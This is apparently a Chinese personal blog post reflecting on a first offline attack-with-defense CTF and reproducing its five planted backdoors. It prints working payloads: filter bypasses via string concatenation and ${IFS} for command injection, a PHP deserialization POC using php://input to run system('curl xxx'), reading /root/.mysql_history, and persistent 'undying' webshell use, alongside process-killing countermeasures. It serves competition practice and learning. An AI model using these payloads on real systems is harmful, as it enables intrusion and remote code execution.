Lemon's blog

记第一次线下AWD感受及复现

Record my learning process of AWD.

字数统计: 2.5k阅读时长: 8 min
2020/01/03 Share

前言:

之前忙于期末复习,没有及时总结当时参赛的感受及复现,这次就来总结一下。

第一次参赛线下AWD感受

由于是第一次参加AWD比赛,各方面经验都不足,在参赛的前几天也是疯狂搜集各种脚本、框架、工具等,同时也参考大师傅的博客进行学习,下面就叙述一下我学习的过程:

一、进行备份

看了很多大师傅的博客,有的师傅博客中写到有些AWD比赛可能给的SSH账户密码相同,所以可以下载一些Github上修改SSH密码的批量脚本,可以让对手在一开始就丢分,但是经过这次比赛,发现其实现在的比赛已经不会再出现这种人为的漏洞了,主办方也会避免这种漏洞出现,否则整场比赛也没什么意意义了,因此我觉得批量修改SSH密码的脚本在线下赛是没有用处的,不过最好也备份一份,万一主办方懒那(那就有点爽了)。。。

那一开始比赛的时候要做什么,比赛一般都是三个人一队,要想在短时间内获得flag且防护好自己的靶机,就需要队伍内部提前明确好分工,这样效率会很高。

除此之外还需要finalshell这个工具,这个工具是用来连接你的靶机的,非常方便,只需输入靶机IP、SSH账号密码即可控制自己的靶机、为备份、挂waf等做准备
在这里插入图片描述
比赛开始,第一步进行备份,最好使用可视化工具FileZilla FTP Client进行备份,也可以用linux本身的压缩打包命令,备份的目的在于万一对方利用漏洞进入你的靶机将你的WWW下的目录给删除了,如果你没有备份就相当于宕机了,那就等着扣分吧,因此备份是非常重要的,使用主办方给的SSH账号密码、主机IP进行连接备份
在这里插入图片描述

二、查找预留后门或漏洞

备份的另一个好处就是可以审计源码,因为大家的WWW目录下的服务都是一样的,因此如果我们能率先在源码中找出漏洞的话便可以收一波分,这里就用到D盾,可以用这个工具查出是否有预留后门或其他利用点
在这里插入图片描述
这样也有一个进行攻击的方向,除此之外还有一个便是Seay源代码审计工具在这里插入图片描述
这个也可以提供一个你攻击的方向

三、备好或写脚本

脚本、脚本、脚本!!!非常重要,参加一次比赛发现真的脚本能力实在是太重要了,发现漏洞很重要,但是如果不会写出相应的批量脚本,你可以想象一下那么多只队伍,三个人手动提交,flag到后面每五分钟刷新一次,效率又低又累的要死,因此无论如何都要提高脚本能力(虽然我的脚本很烂,但一定会慢慢提高的),AWD比赛到后面就是比的脚本能力,前提是你要先找出漏洞。如果你和我一样目前脚本能力都很弱,也不用慌张,大师傅们的Github上有很多人家写好的,只需我们看懂,会改就可以用,这里我就不列举资源了,谷歌百度一搜索一堆。总之一句话,学好python,学会自己写脚本,真的很重要!!!

还有就是备份一下常见的POC,因为大多数AWD比赛都是各种CMS,这些CMS或多或少都存在漏洞,有时POC可以帮大忙,GitHub上都有,这里就不列出了

四、心态

参加一次比赛,基本流程就是上面的了,但我觉得有一点很重要,不要抱着我们必须拿多少名次的心态,就放平心态,不要慌张,如果被人打了,要去审查日志,看大师傅是怎么打你的,如果看出人家利用的攻击方式,那你就可以利用这个点拿分,如果心态崩了,整场游戏将毫无乐趣,切记调整好心态,前几次参赛就不要太在乎名次,有更好,没有继续努力,不过需要总结之前是失败到哪里了,不能在一个坑中连续跌倒多次,这样才能进步。

二、复现

这次的比赛算是比较照顾新手了,没有出现CMS官方的一些漏洞,因此POC也就没用到,而是主办方给选手留了很多预留后门,比赛时只成功利用了一个(我们比较菜)但还是刷了不少分,比赛结束了就将所有的预留漏洞都来复现一下,不能因比赛结束后就什么也不做。

首先先连接上自己的靶机
在这里插入图片描述
利用工具连接到靶机,并找到WWW目录进行备份相应的服务
在这里插入图片描述
备份成功后进行D盾扫描
在这里插入图片描述
发现有三个可疑点,先来看第一个

第一个预留后门:预留后门

在这里插入图片描述
一句话木马,直接上蚁剑
在这里插入图片描述
连接成功便可以使用curl命令获取你想要的flag了,但是这么简单的后门大家都知道,所以这就需要拼手速了,脚本的重要性便体现出来了
在这里插入图片描述
这是大师傅之前写的,我们只是在修改了具体的一些参赛,但也因此获得了很多flag,所以脚本是真的很重要!!!,其实自己观察脚本的话,发现也不是很难,重要的便是在于思路,还是要多加练习。

第二个预留后门:冰蝎一句话

我们是真的菜,当时比赛的时候竟然就没发现这个冰蝎一句话,复现的时候发现这个冰蝎马还是下载冰蝎时自带的马。。。

在这里插入图片描述
唉,当时如果看出来就第一了,继续加油吧,还是懂的太少!

第三个预留后门:常见绕过

在这里插入图片描述
这串代码过滤很多高危函数字符如常用的system
在这里插入图片描述
如果绕开遍历便可以输入恶意语句,那就需要考虑如果进行绕过了,可以利用拼接的方式进行绕过:

payload:

1
?cmd=$a='syste';$b='m';$c=$a.$b;$c('curl xxx');

在这里插入图片描述确实是可以利用的,越复现感觉自己越菜。。。

第四个预留后门:命令执行+变量覆盖

这个最可惜,当时我们被打的时候,发现有人是通过一个ping_test.php文件来请求的,我们就查看了一下这个文件,果然是命令执行,但是过滤了一些东西
在这里插入图片描述
通过观察发现引入一个define.php文件,查看文件发现
在这里插入图片描述
在这里插入图片描述
很明显的看出了过滤了空格,不行了不能复现了,我想打自己

绕过空格的方法有%09${IFS}

payload:

1
des=| curl${IFS}xxx

在这里插入图片描述

第五个预留后门:信息收集+反序列化+文件包含

在审计源码的时候,发现在admin.php中发现有一句提示
在这里插入图片描述
既然如此就去查看MySQL的history,看一下改变了什么

1
cat /root/.mysql_history

在这里插入图片描述
这个目录保存着对MYSQL的操作记录,这里由于我是在自己本地搭建所以没有信息,不过在比赛的时候应该是会提示到\html\public\ueditor\php\controller.php,再观察phpinfo,发现allow_url_include为On,所以可以使用php://input协议可直接getshell

查看文件发现
在这里插入图片描述在这里插入图片描述
很明显了直接进行反序列化

官方给的POC

1
2
3
4
5
6
7
8
9
10
11
12
class Control{
public $file = '<?=phpinfo();?>';
private $flag;
public function __destruct(){
if(isset($this->file) && !preg_match('/<\?/is', $this->file)){
require($this->file);
}
}
}
$a = new Control();
$a->file = 'php://input';
echo serialize($a);

在线运行一下
在这里插入图片描述
请求:

1
?action=shell&data=O:7:"Control":2: {s:4:"file";s:11:"php://input";s:13:"%00Control%00flag";N;}

POST传入

1
<?php system('curl xxx'); ?>

在这里插入图片描述
但这里我没有复现成功

小插曲:上传不死马

在一开始蚁剑连接上了就想着放入一个不死马
在这里插入图片描述
发现一直是失败,明明比赛给的权限是root,所以就没有管,待后面公布WP才知道是在upload文件夹下有权限上传。。。。
在这里插入图片描述
哎呀 不行写完这篇总结打一句联盟发泄一下,我怎么这么菜啊

下面就说一下如何用不死马,以防自己忘记
在这里插入图片描述
这便是常见的不死马,密码自己设置并且进行md5加密,我这里设置的是lemon

如果上传不死马成功后,就先来触发
在这里插入图片描述
触发成功,进行查看
在这里插入图片描述
木马出现,进行连接
在这里插入图片描述
利用成功!!!

如果自己靶机被别人种了不死马,如果有权限可以使用service apache2 restart,直接删除即可

如果没有权限重启就kill掉www-data用户的所有子进程

1
ps aux | grep www-data | awk '{print $2}' | xargs kill -9

在这里插入图片描述
确实删除成功

三、创建一个和不死马生成的马一样名字的目录

太菜了,没复现成功,具体看其他大师傅的吧!!

四、编写一个使用ignore_user_abort(true)函数的脚本,一直竞争写入删除不死马文件,其中usleep()的时间必须要小于不死马的usleep()时间才会有效果

1
2
3
4
5
6
7
8
<?php
while (1) {
$pid = 不死马的进程PID;
@unlink(".ski12.php");
exec("kill -9 $pid");
usleep(1000);
}
?>

总结:

我比较喜欢第二种杀进程的,因为比较简单,估计之后会遇到其他的,之后再说吧,不过我是真的菜的一批,一定要好好练脚本能力,这些对大师傅没有什么技术含量,不要喷我。。。

CATALOG
  1. 1. 前言:
  2. 2. 第一次参赛线下AWD感受
    1. 2.0.1. 一、进行备份
    2. 2.0.2. 二、查找预留后门或漏洞
    3. 2.0.3. 三、备好或写脚本
    4. 2.0.4. 四、心态
  • 3. 二、复现
    1. 3.0.1. 第一个预留后门:预留后门
    2. 3.0.2. 第二个预留后门:冰蝎一句话
    3. 3.0.3. 第三个预留后门:常见绕过
    4. 3.0.4. 第四个预留后门:命令执行+变量覆盖
    5. 3.0.5. 第五个预留后门:信息收集+反序列化+文件包含
    6. 3.0.6. 小插曲:上传不死马
  • 4. 总结: